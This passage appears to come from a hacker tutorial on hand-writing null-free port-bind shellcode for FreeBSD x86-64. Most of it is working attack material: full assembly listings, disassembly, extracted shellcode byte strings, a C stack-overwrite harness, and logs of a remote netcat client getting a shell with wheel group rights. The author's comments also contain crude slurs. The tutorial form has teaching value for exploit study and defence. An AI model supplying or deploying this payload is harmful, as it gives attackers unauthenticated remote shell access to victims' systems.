xorq %rcx, %rcx
movb $16, %cl # use cl - no \x0s
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
xorq %r9, %r9 # clear %r9
movl %eax, %r9d # store accept_sock in it
/**** dup2s ****/
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDIN; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl accept_sock, %edi
pushq $STDERR; popq %rsi
int $KERN
becomes
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
xorq %rsi, %rsi # STDIN is 0 so xor rsi for it
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi # %r9d is accept_sock
pushq $STDERR; popq %rsi
int $KERN
/**** execve ****/
pushq $SYS_EXECVE; popq %rax
leaq shell, %rdi
leaq shelladdr, %rsi
xorq %rdx, %rdx
int $KERN
becomes
The same way the hello world was done: push a null onto the stack
push /bin/shAA in hex backwards onto the stack, then overwrite the AA
byte with \x0 so you get /bin/sh\0
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx # push a null
pushq %rcx
movq %rsp, %rsi # set rsi to null
movq $0xAA68732f6e69622f, %rcx # mov /bin/shAA backwards
# into rcx
pushq %rcx # push it
# push it real good
movq %rsp, %rdi # put rsp (->/bin/shAA)
# into rdi
# have to over write that AA with a 0
# put a \x0 byte at index 7 of our string /bin/sh
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
/**** exit ****/
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
becomes
oh shit, already 31337 as the dickens.
Full final no null asm looks like:
[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .text
.globl _start
_start:
nop
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8
movl %eax, %r8d
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
xorq %r10, %r10
pushq %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1)
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1)
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi
movq %rsp, %rsi
xorq %rcx, %rcx
movb $16, %cl
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
xorq %r9, %r9
movl %eax, %r9d
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
xorq %rsi, %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
pushq $STDERR; popq %rsi
int $KERN
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx
pushq %rcx
movq %rsp, %rsi
movq $0xAA68732f6e69622f, %rcx
pushq %rcx
movq %rsp, %rdi
# have to over write that aa with a 0
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
# _exit(0)
pushq $1; popq %rax
xorq %rdi, %rdi
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull.s -o pb-nonull.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull.o -o pb-nonull
[entropy@phiral ~/code/fbsd_x64]$ ./pb-nonull
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
[entropy@phiral ~/code/fbsd_x64]$ objdump -d pb-nonull
pb-nonull: file format elf64-x86-64
Disassembly of section .text:
00000000004000b0 <_start>:
4000b0: 90 nop
4000b1: 6a 61 pushq $0x61
4000b3: 58 pop %rax
4000b4: 6a 02 pushq $0x2
4000b6: 5f pop %rdi
4000b7: 6a 01 pushq $0x1
4000b9: 5e pop %rsi
4000ba: 6a 06 pushq $0x6
4000bc: 5a pop %rdx
4000bd: cd 80 int $0x80
4000bf: 4d 31 c0 xor %r8,%r8
4000c2: 41 89 c0 mov %eax,%r8d
4000c5: 4d 31 d2 xor %r10,%r10
4000c8: 41 52 push %r10
4000ca: 41 52 push %r10
4000cc: 48 31 c9 xor %rcx,%rcx
4000cf: b1 01 mov $0x1,%cl
4000d1: c6 04 0c 02 movb $0x2,(%rsp,%rcx,1)
4000d5: b1 02 mov $0x2,%cl
4000d7: 66 c7 04 0c 1a 0a movw $0xa1a,(%rsp,%rcx,1)
4000dd: 6a 68 pushq $0x68
4000df: 58 pop %rax
4000e0: 41 50 push %r8
4000e2: 5f pop %rdi
4000e3: 48 89 e6 mov %rsp,%rsi
4000e6: 6a 10 pushq $0x10
4000e8: 5a pop %rdx
4000e9: cd 80 int $0x80
4000eb: 6a 6a pushq $0x6a
4000ed: 58 pop %rax
4000ee: 41 50 push %r8
4000f0: 5f pop %rdi
4000f1: 6a 01 pushq $0x1
4000f3: 5e pop %rsi
4000f4: cd 80 int $0x80
4000f6: 6a 1e pushq $0x1e
4000f8: 58 pop %rax
4000f9: 41 50 push %r8
4000fb: 5f pop %rdi
4000fc: 48 89 e6 mov %rsp,%rsi
4000ff: 48 31 c9 xor %rcx,%rcx
400102: b1 10 mov $0x10,%cl
400104: 51 push %rcx
400105: 48 89 e2 mov %rsp,%rdx
400108: cd 80 int $0x80
40010a: 59 pop %rcx
40010b: 4d 31 c9 xor %r9,%r9
40010e: 41 89 c1 mov %eax,%r9d
400111: 6a 5a pushq $0x5a
400113: 58 pop %rax
400114: 44 89 cf mov %r9d,%edi
400117: 48 31 f6 xor %rsi,%rsi
40011a: cd 80 int $0x80
40011c: 6a 5a pushq $0x5a
40011e: 58 pop %rax
40011f: 44 89 cf mov %r9d,%edi
400122: 6a 01 pushq $0x1
400124: 5e pop %rsi
400125: cd 80 int $0x80
400127: 6a 5a pushq $0x5a
400129: 58 pop %rax
40012a: 44 89 cf mov %r9d,%edi
40012d: 6a 02 pushq $0x2
40012f: 5e pop %rsi
400130: cd 80 int $0x80
400132: 6a 3b pushq $0x3b
400134: 58 pop %rax
400135: 48 31 c9 xor %rcx,%rcx
400138: 51 push %rcx
400139: 48 89 e6 mov %rsp,%rsi
40013c: 48 b9 2f 62 69 6e 2f mov $0xaa68732f6e69622f,%rcx
400143: 73 68 aa
400146: 51 push %rcx
400147: 48 89 e7 mov %rsp,%rdi
40014a: 48 31 db xor %rbx,%rbx
40014d: 48 31 c9 xor %rcx,%rcx
400150: b1 07 mov $0x7,%cl
400152: 88 1c 0c mov %bl,(%rsp,%rcx,1)
400155: 48 31 d2 xor %rdx,%rdx
400158: cd 80 int $0x80
40015a: 6a 01 pushq $0x1
40015c: 58 pop %rax
40015d: 48 31 ff xor %rdi,%rdi
400160: cd 80 int $0x80
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull
\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80
\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31
\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a
\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a
\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50
\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80
\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31
\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a
\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31
\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa
\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c
\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] =
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80"
"\x4d\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\x48\x31"
"\xc9\xb1\x01\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a"
"\x6a\x68\x58\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a"
"\x6a\x58\x41\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50"
"\x5f\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80"
"\x59\x4d\x31\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31"
"\xf6\xcd\x80\x6a\x5a\x58\x44\x89\xcf\x6a\x01\x5e\xcd\x80\x6a"
"\x5a\x58\x44\x89\xcf\x6a\x02\x5e\xcd\x80\x6a\x3b\x58\x48\x31"
"\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\xaa"
"\x51\x48\x89\xe7\x48\x31\xdb\x48\x31\xc9\xb1\x07\x88\x1c\x0c"
"\x48\x31\xd2\xcd\x80\x6a\x01\x58\x48\x31\xff\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
Remove NOP, _exit(0) and 'extra' instructions...
[entropy@phiral ~/code/fbsd_x64]$ cat pb-nonull-s.s
.section .rodata
.equ KERN, 0x80
.equ SYS_SOCKET, 97
.equ SYS_BIND, 104
.equ SYS_LISTEN, 106
.equ SYS_ACCEPT, 30
.equ SYS_DUP2, 90
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 1
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2
.equ PORT, 2586
.section .text
.globl _start
_start:
# socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)
pushq $SYS_SOCKET; popq %rax
pushq $PF_INET; popq %rdi
pushq $SOCK_STREAM; popq %rsi
pushq $IPPROTO_TCP; popq %rdx
int $KERN
xorq %r8, %r8
movl %eax, %r8d
# bind(listen_socket, (struct sockaddr *)&s, sizeof(s));
xorq %r10, %r10
pushq %r10
xorq %rcx, %rcx
movb $1, %cl
movb $AF_INET, (%rsp, %rcx, 1)
movb $2, %cl
movw $PORT, (%rsp, %rcx, 1)
pushq $SYS_BIND; popq %rax
pushq %r8; pop %rdi
movq %rsp, %rsi
pushq $SOCKADDR_IN_SIZE; popq %rdx
int $KERN
# listen(listen_socket, 1)
pushq $SYS_LISTEN; popq %rax
pushq %r8; popq %rdi
pushq $1; popq %rsi
int $KERN
# accept
pushq $SYS_ACCEPT; popq %rax
pushq %r8; popq %rdi
movq %rsp, %rsi
xorq %rcx, %rcx
movb $16, %cl
pushq %rcx
movq %rsp, %rdx
int $KERN
popq %rcx
xorq %r9, %r9
movl %eax, %r9d
# dup2 these rich whores
pushq $SYS_DUP2; popq %rax
movl %r9d, %edi
xorq %rsi, %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
pushq $STDOUT; popq %rsi
int $KERN
pushq $SYS_DUP2; popq %rax
pushq $STDERR; popq %rsi
int $KERN
pushq $SYS_EXECVE; popq %rax
xorq %rcx, %rcx
pushq %rcx
movq %rsp, %rsi
movq $0xAA68732f6e69622f, %rcx
pushq %rcx
movq %rsp, %rdi
# have to over write that AA with a 0
xorq %rbx, %rbx
xorq %rcx, %rcx
movb $7, %cl
movb %bl, (%rsp, %rcx, 1)
xorq %rdx, %rdx
int $KERN
[entropy@phiral ~/code/fbsd_x64]$ as -gstabs pb-nonull-s.s -o pb-nonull-s.o
[entropy@phiral ~/code/fbsd_x64]$ ld pb-nonull-s.o -o pb-nonull-s
[entropy@phiral ~/code/fbsd_x64]$ ./get-sc.sh pb-nonull-s
\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d
\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01
\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58
\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41
\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89
\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31
\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80
\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd
\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62
\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31
\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80
[entropy@phiral ~/code/fbsd_x64]$ cat sc.c
unsigned char sc[] =
"\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d"
"\x31\xc0\x41\x89\xc0\x4d\x31\xd2\x41\x52\x48\x31\xc9\xb1\x01"
"\xc6\x04\x0c\x02\xb1\x02\x66\xc7\x04\x0c\x1a\x0a\x6a\x68\x58"
"\x41\x50\x5f\x48\x89\xe6\x6a\x10\x5a\xcd\x80\x6a\x6a\x58\x41"
"\x50\x5f\x6a\x01\x5e\xcd\x80\x6a\x1e\x58\x41\x50\x5f\x48\x89"
"\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\xcd\x80\x59\x4d\x31"
"\xc9\x41\x89\xc1\x6a\x5a\x58\x44\x89\xcf\x48\x31\xf6\xcd\x80"
"\x6a\x5a\x58\x6a\x01\x5e\xcd\x80\x6a\x5a\x58\x6a\x02\x5e\xcd"
"\x80\x6a\x3b\x58\x48\x31\xc9\x51\x48\x89\xe6\x48\xb9\x2f\x62"
"\x69\x6e\x2f\x73\x68\xaa\x51\x48\x89\xe7\x48\x31\xdb\x48\x31"
"\xc9\xb1\x07\x88\x1c\x0c\x48\x31\xd2\xcd\x80";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral ~/code/fbsd_x64]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:17: warning: cast from pointer to integer of different size
sc.c:14: warning: return type of 'main' is not 'int'
[entropy@phiral ~/code/fbsd_x64]$ ./sc
maihem@sparky ~$ nc 172.16.233.85 6666
id
uid=1001(entropy) gid=0(wheel) groups=0(wheel)
exit
fini.
[1] Intro to x64 Reversing - Jon Larimer
- http://codetastrophe.com/
SummerCon%202011%20-%20Intro%20to%20x64%20Reversing.pdf
[2] SummerCon
- http://summercon.org/ <-- best fucking con ever
[3] SYS V ABI
- http://www.x86-64.org/documentation/abi.pdf
[4] x64 Windows Debugging: Practical Foundations
- http://www.dumpanalysis.org/
x64+Windows+Debugging%3A+Practical+Foundations
[5] Writing Assembly on OpenBSD
- http://lucifer.phiral.net/openbsdasm.htm
HTML Version: http://lucifer.phiral.net/fbsd_x64.htm